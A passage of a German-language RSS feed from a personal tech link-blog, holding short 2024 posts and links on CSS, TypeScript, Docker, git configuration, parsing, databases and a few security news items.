</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/25/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/25/2.html</guid><pubDate>Thu, 25 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Buchempfehlung: &lt;a href=&quot;https://0xinfection.github.io/reversing/&quot;&gt;Reverse Engineering For Everyone&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/26/0.html</guid><pubDate>Fri, 26 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://rcoh.me/posts/linear-time-median-finding/&quot;&gt;My Favorite Algorithm: Linear Time Median Finding&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/26/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/26/1.html</guid><pubDate>Fri, 26 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-5-6-beta/&quot;&gt;TypeScript 5.6 Beta&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/26/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/26/2.html</guid><pubDate>Fri, 26 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://anatolyzenkov.com/stolen-buttons&quot;&gt;Stolen Buttons&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/30/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/30/0.html</guid><pubDate>Tue, 30 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://caniuse.com/mdn-css_at-rules_starting-style&quot;&gt;&lt;code&gt;@starting-style&lt;/code&gt;&lt;/a&gt; ist mittlerweile ganz okay supported (Firefox fehlt noch, 129 kommt aber nächste Woche) und CSS-Sizing mit &lt;a href=&quot;https://github.com/w3c/csswg-drafts/commit/aa94f650329b2f3096cbeddc6820100b30280baf&quot;&gt;&lt;code&gt;calc-size&lt;/code&gt;&lt;/a&gt; wurde vor 5 Tagen in den Standard gemergt. Chrome wird es in in der nächsten Version releasen, alle anderen Browser nicht. Damit kann man jetzt nach &lt;code&gt;height: auto&lt;/code&gt; animieren und transitionieren.
Mit progressive-enhancement-Techniken kann man es ja trotzdem schon nutzen.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.webdevsimplified.com/2024-07/css-calc-size/&quot;&gt;WDS hat dazu gebloggt&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><category>html</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/31/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/31/0.html</guid><pubDate>Wed, 31 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Docker kann beim Bauen linten. Vielleicht ist euch mal eine Warning aufgefallen, wenn gebaut wird. Wenn man z. B. &lt;code&gt;FROM x as y&lt;/code&gt; schreibt, gibt es eine Warning, die besagt, dass das &lt;code&gt;as&lt;/code&gt; in einem anderen Casing als &lt;code&gt;FROM&lt;/code&gt; ist.&lt;/p&gt;
&lt;p&gt;Das kann man jetzt zu einem Fehler machen. Dazu entweder &lt;code&gt;docker build&lt;/code&gt; mit &lt;code&gt;--check&lt;/code&gt; aufrufen oder den Anfang der Dockerfile ein bisschen konfigurieren;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# syntax=docker/dockerfile:1
# check=error=true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.docker.com/reference/build-checks/&quot;&gt;Diese Checks&lt;/a&gt; gibt es aktuell.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>docker</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/08/01/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/08/01/0.html</guid><pubDate>Thu, 01 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In HTML können manche Elemente ja nicht in anderen enthalten sein. Z. B. darf ein &lt;code&gt;div&lt;/code&gt; nicht in einem &lt;code&gt;span&lt;/code&gt; sein.&lt;/p&gt;
&lt;p&gt;Manchmal ist man sich da nicht so sicher. Neulich hab ich auch überlegt, ob ein &lt;code&gt;div&lt;/code&gt; in einem &lt;code&gt;label&lt;/code&gt; sein darf und die Antwort zu finden hat echt gedauert. &lt;a href=&quot;https://caninclude.glitch.me&quot;&gt;Hier kann man das nachschauen&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>html</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/08/03/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/08/03/0.html</guid><pubDate>Sat, 03 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Weil ich jedes mal nachgucken muss: &lt;a href=&quot;https://www.nutsvolts.com/magazine/article/calculating_current&quot;&gt;Calculating Current Limiting Resistor Values for LED Circuits&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://news.ycombinator.com/item?id=28976943&quot;&gt;Auf HN&lt;/a&gt; gibt es noch ein paar Links zu Blogposts von Digikey, die ein bisschen tiefer gehen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>elektronik</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/08/05/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/08/05/0.html</guid><pubDate>Mon, 05 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Beim Parsen von Operatorpräzedenzen gibt&apos;s ja verschiedene Ansätze. Der erste und &quot;einfache&quot; Ansatz ist, die Präzedenzen in der Grammatik abzubilden. Die Implementierung mit einem rekursiven Abstieg ist dann trivial. Problematisch ist allerdings, dass der Syntaxbaum dann für einfache Sachen ziemlich tief wird. Für z. B. ein einfaches &lt;code&gt;a = 5&lt;/code&gt; hätte man auf der rechten Seite dann einen kompletten Unterbaum mit Nodes für jeden möglichen Operator, die dann aber quasi leer sind. Das ist sehr ineffizient.
Der nächste Schritt wäre ein Parser mit Dokus auf Operatorpräzedenz. Dort weist man jedem Operator eine Präzedenz in Form einer Zahl zu und löst es später ein einen vergleichsweise flachen Baum auf. Den Operatorpräzedenzparser kann man in den normalen rekursiven Abstieg integrieren und dann für binäre AUsdrücke verwenden. TypeScript macht das z. B. auch so.&lt;/p&gt;
&lt;p&gt;Hier ist ein anderer Ansatz, Präzedenzen zu parsen: &lt;a href=&quot;https://www.scattered-thoughts.net/writing/better-operator-precedence&quot;&gt;Better operator precedence&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/08/12/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/08/12/0.html</guid><pubDate>Mon, 12 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.docker.com/blog/dockerfiles-now-support-multiple-build-contexts/&quot;&gt;Docker kann mehrere Build-Contexte&lt;/a&gt;. Damit kann man dann shared-Directorys haben, ohne den Build-Context auf den gemeinsamen Root zu legen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>docker</category><category>til</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/08/14/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/08/14/0.html</guid><pubDate>Wed, 14 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38063&quot;&gt;Eine 9.8er TCP/IP-RCE in allen Windows-Versionen ab NT 6.0&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>security</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/08/15/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/08/15/0.html</guid><pubDate>Thu, 15 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wir hatten ja schon öfters interessante Ideen für die Verwendung von Fontfeatures. Heute: &lt;a href=&quot;https://blog.glyphdrawing.club/font-with-built-in-syntax-highlighting/&quot;&gt;Eine Font mit eingebauten Syntax-Highlighting&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Und &lt;a href=&quot;https://www.coderelay.io/fontemon.html&quot;&gt;hier&lt;/a&gt; ein ganzes Spiel in einer Font.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/08/16/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/08/16/0.html</guid><pubDate>Fri, 16 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Früher: MIFARE Classic ist kaputt
Heute: &lt;a href=&quot;https://eprint.iacr.org/2024/1275.pdf&quot;&gt;MIFARE Classic ist kaputt und hat Hardware-Backdoors&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>security</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/08/27/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/08/27/0.html</guid><pubDate>Tue, 27 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://notgull.net/announcing-dozer/&quot;&gt;Why am I writing a Rust compiler in C?&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>rust</category><category>c</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/09/03/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/09/03/0.html</guid><pubDate>Tue, 03 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://tylercipriani.com/blog/2022/11/19/git-notes-gits-coolest-most-unloved-feature/&quot;&gt;Git Notes: git&apos;s coolest, most unloved­ feature&lt;/a&gt;. &lt;a href=&quot;https://git-scm.com/docs/git-notes&quot;&gt;Hier&lt;/a&gt; noch die Doku dazu.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>git</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/09/03/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/09/03/1.html</guid><pubDate>Tue, 03 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.wietzebeukema.nl/blog/why-bother-with-argv0&quot;&gt;Why bother with &lt;code&gt;argv[0]&lt;/code&gt;?&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>unix</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/09/04/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/09/04/0.html</guid><pubDate>Wed, 04 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Aktuell spiele ich gerade ein bisschen mit Paperless. Man kann bei Paperless &lt;a href=&quot;https://docs.paperless-ngx.com/configuration/&quot;&gt;eine Config-Einstellung setzen&lt;/a&gt;, womit Paperless auch Barcodes verarbeitet. Wenn man das hat, gibt es &lt;a href=&quot;http://www.alliancegroup.co.uk/patch-codes.htm&quot;&gt;Steuerseiten, die man beim Scannen zwischen Dokumente legen kann&lt;/a&gt;. &lt;a href=&quot;http://www.alliancegroup.co.uk/downloads/patches-for-printing-on-a4-paper.pdf&quot;&gt;Hier direkt die PDF&lt;/a&gt;. &lt;a href=&quot;http://www.alliancegroup.co.uk/downloads/patch-codes.pdf&quot;&gt;Hier der Standard&lt;/a&gt; von Kodak.
Damit kann man dann bei Paperless einfach eine einzige PDF reinwerfen, die aus einem Einzugsscanner-Lauf kam.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>paperless</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/09/04/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/09/04/1.html</guid><pubDate>Wed, 04 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://ryanmulligan.dev/blog/css-property-new-style/&quot;&gt;CSS @property and the New Style&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/09/07/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/09/07/0.html</guid><pubDate>Sat, 07 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://mariusbancila.ro/blog/2024/09/06/whats-new-in-c26-part-1/&quot;&gt;What’s new in C++26 (part 1)&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>cpp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/09/09/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/09/09/0.html</guid><pubDate>Mon, 09 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-5-6/&quot;&gt;TypeScript 5.6&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/09/10/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/09/10/0.html</guid><pubDate>Tue, 10 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://explained-from-first-principles.com/number-theory/&quot;&gt;Explained from First Principles: Number Theory&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/09/16/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/09/16/0.html</guid><pubDate>Mon, 16 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://usenothing.com&quot;&gt;Nothing: Simply Do Nothing&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/09/19/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/09/19/0.html</guid><pubDate>Thu, 19 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.swift.org/blog/announcing-swift-6&quot;&gt;Swift 6&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>swift</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/09/19/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/09/19/1.html</guid><pubDate>Thu, 19 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://foojay.io/today/java-23-has-arrived-and-it-brings-a-truckload-of-changes&quot;&gt;Java 23&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>java</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/09/19/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/09/19/2.html</guid><pubDate>Thu, 19 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://gustedt.wordpress.com/2024/09/11/braiding-the-spaghetti-implementing-defer-in-the-preprocessor&quot;&gt;Braiding the spaghetti: implementing defer in the preprocessor&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/09/19/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/09/19/3.html</guid><pubDate>Thu, 19 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Der Compiler von TypeScript ist ja ein nicht-optimierender Compiler. D.h. er lässt auch unerreichbaren Code im Resultat. Das ist durchaus so gewollt, heißt aber nicht, dass die Compiler-API sowas nicht hergeben würde. Hier hat das jemand genutzt und damit eine Dead-Code-Elimination gemacht: &lt;a href=&quot;https://github.com/line/ts-remove-unused&quot;&gt;&lt;code&gt;ts-remove-unused&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/09/19/4.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/09/19/4.html</guid><pubDate>Thu, 19 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://playground.numscript.org&quot;&gt;Numscript, a declarative language to model financial transactions&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/09/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/09/26/0.html</guid><pubDate>Thu, 26 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://josephg.com/blog/rewriting-rust&quot;&gt;Rewriting Rust&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>rust</category><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/09/26/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/09/26/1.html</guid><pubDate>Thu, 26 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.postgresql.org/about/news/postgresql-17-released-2936/&quot;&gt;Postgres 17&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/09/26/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/09/26/2.html</guid><pubDate>Thu, 26 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Diese Woche habe ich das Konzept von &quot;&lt;a href=&quot;https://cedardb.com/blog/german_strings&quot;&gt;German Strings&lt;/a&gt;&quot; kennengelernt. Das sind immutable Strings, die mit einer erweiterten Variante der Short-String-Optimization gehalten werden. Sie enthalten noch in den 16 Bytes den Präfix vom String. Damit kann man viele String-Operationen machen, ohne den Pointer auf die Daten zu dereferenzieren. Und ist besser für Lokalität bzw. Caching.&lt;/p&gt;
&lt;p&gt;Der Name kommt wohl daher, dass in einem Paper von einem deutschen Stand und einer der ersten Implementoren zu faul war, den tatsächlichen Autor zu nennen.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://tunglevo.com/note/an-optimization-thats-impossible-in-rust/&quot;&gt;Hier&lt;/a&gt; hat sie jemand in Rust implementiert, um einen Punkt zu beweisen. Dort wird auch der Autor vom Paper genannt: Umbra.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/09/26/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/09/26/3.html</guid><pubDate>Thu, 26 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://dev.to/sebastienlorber/css-content-visibility-for-react-devs-4a3i&quot;&gt;CSS &lt;code&gt;content-visibility&lt;/code&gt; (for React devs)&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The &lt;code&gt;content-visibility&lt;/code&gt; CSS property controls whether or not an element renders its contents at all, along with forcing a strong set of containments, allowing user agents to potentially omit large swathes of layout and rendering work until it becomes needed. It enables the user agent to skip an element&apos;s rendering work (including layout and painting) until it is needed — which makes the initial page load much faster.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/content-visibility&quot;&gt;MDN&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><category>html</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/09/30/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/09/30/0.html</guid><pubDate>Mon, 30 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Bisschen Werbung: Ich hab mal eine Seite gebaut, mit der man sich Unix-File-Permissions für chmod zusammenklicken kann: &lt;a href=&quot;https://chmod.guru&quot;&gt;chmod.guru&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/10/09/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/10/09/0.html</guid><pubDate>Wed, 09 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-5-7-beta/&quot;&gt;TypeScript 5.7 Beta&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/10/17/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/10/17/0.html</guid><pubDate>Thu, 17 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.unicode.org/emoji/proposals.html&quot;&gt;Guidelines for Submitting Unicode® Emoji Proposals&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/10/17/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/10/17/1.html</guid><pubDate>Thu, 17 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Das Buch &lt;a href=&quot;https://inria.hal.science/hal-02383654&quot;&gt;Modern C&lt;/a&gt; hat ein Update für C23 bekommen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>c</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/10/28/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/10/28/0.html</guid><pubDate>Mon, 28 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.evanmiller.org/how-not-to-sort-by-average-rating.html&quot;&gt;How Not To Sort By Average Rating&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/10/30/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/10/30/0.html</guid><pubDate>Wed, 30 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://ssoready.com/blog/engineering/truths-programmers-timezones/&quot;&gt;Australia/Lord_Howe is the weirdest timezone&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/11/12/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/11/12/0.html</guid><pubDate>Tue, 12 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/dotnet/announcing-dotnet-9/&quot;&gt;.NET 9 ist da&lt;/a&gt;. &lt;a href=&quot;https://devblogs.microsoft.com/dotnet/performance-improvements-in-net-9/&quot;&gt;Hier&lt;/a&gt; sind die Performance-Verbesserungen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>dotnet</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/11/14/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/11/14/0.html</guid><pubDate>Thu, 14 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://mrsuh.com/articles/2024/sqlite-index-visualization-structure/&quot;&gt;SQLite Index Visualization&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/11/19/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/11/19/0.html</guid><pubDate>Tue, 19 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In CSS gibt es ja die Pseudoklasse &lt;code&gt;:invalid&lt;/code&gt;, die immer dann triggert, wenn der aktuelle Inhalt des Inputs nicht passt. Also auch dann, wenn es z. B. noch leer ist, wenn der User noch gar nichts eingetippt hat. Um diese Unschnheit zu behandeln gibt es viele Librarys.&lt;/p&gt;
&lt;p&gt;Jetzt braucht man das nicht mehr, sondern kann &lt;a href=&quot;https://web.dev/articles/user-valid-and-user-invalid-pseudo-classes&quot;&gt;&lt;code&gt;:user-valid&lt;/code&gt; und &lt;code&gt;:user-invalid&lt;/code&gt;&lt;/a&gt; benutzen. Gibt es beide schon länger, aber viele haben davon nie gehört.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/11/19/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/11/19/1.html</guid><pubDate>Tue, 19 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ich benutze seit bestimmt schon einer Dekade bei Outlook den vorgegebenen Kalender &quot;Deutsche Feiertage&quot;. Der schreibt nicht nur Silvester mit y, sondern hat auch alle Feiertage aller Bundesländer drin. Das ist etwas nervig, wenn man in einem Bundesland wohnt, das am wenigsten Feiertage hat.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://ics.tools&quot;&gt;ics.tools&lt;/a&gt; hat eine ICS für jedes Bundesland und für die Ferien separat. Ist offen und wird &lt;a href=&quot;https://github.com/ics-tools/ics.tools&quot;&gt;über GitHub gepflegt&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>tools</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/11/21/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/11/21/0.html</guid><pubDate>Thu, 21 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.php.net/releases/8.4&quot;&gt;PHP 8.4&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>php</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/11/22/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/11/22/0.html</guid><pubDate>Fri, 22 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://codepen.io/plfstr/full/zYqQeRw&quot;&gt;HTML Tags Memory Test&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>html</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/11/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/11/25/0.html</guid><pubDate>Mon, 25 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Man kann bei Git ja mit &lt;code&gt;includeIf&lt;/code&gt; gut verschiedene Configs basierend auf dem Repo-Verzeichnis einbinden. So kann man z.b. erreichen, dass immer die richtige Committer-Email oder der richtige PGP-Key zum signieren verwendet wird.&lt;/p&gt;
&lt;p&gt;Was ich heute gelernt habe: &lt;a href=&quot;https://www.benji.dog/articles/git-config/&quot;&gt;Man kann das auch auf Remotes matchen&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[includeIf &quot;hasconfig:remote.*.url:git@gitlab.com:*/**&quot;]
  path = ~/.config/git/config-gl
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><language>de-DE</language><category>git</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/11/25/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/11/25/1.html</guid><pubDate>Mon, 25 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://buttondown.com/hillelwayne/archive/five-unusual-raku-features&quot;&gt;Five Unusual Raku Features&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/11/27/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/11/27/0.html</guid><pubDate>Wed, 27 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.developerway.com/posts/hard-react-questions-and-modal-dialog&quot;&gt;Existential React questions and a perfect Modal Dialog&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>react</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/12/24/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/12/24/0.html</guid><pubDate>Tue, 24 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://byteofdev.com/posts/javascript-benchmarking-mess/&quot;&gt;JavaScript Benchmarking Is a Mess&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/12/24/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/12/24/1.html</guid><pubDate>Tue, 24 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://onlinelibrary.wiley.com/doi/10.1002/spe.3296&quot;&gt;Parsing millions of URLs per second&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/12/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/12/26/0.html</guid><pubDate>Thu, 26 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://jesipow.com/blog/postgres-reads-cause-writes&quot;&gt;Reads causing writes in Postgres&lt;/a&gt;.&lt;/p&gt;
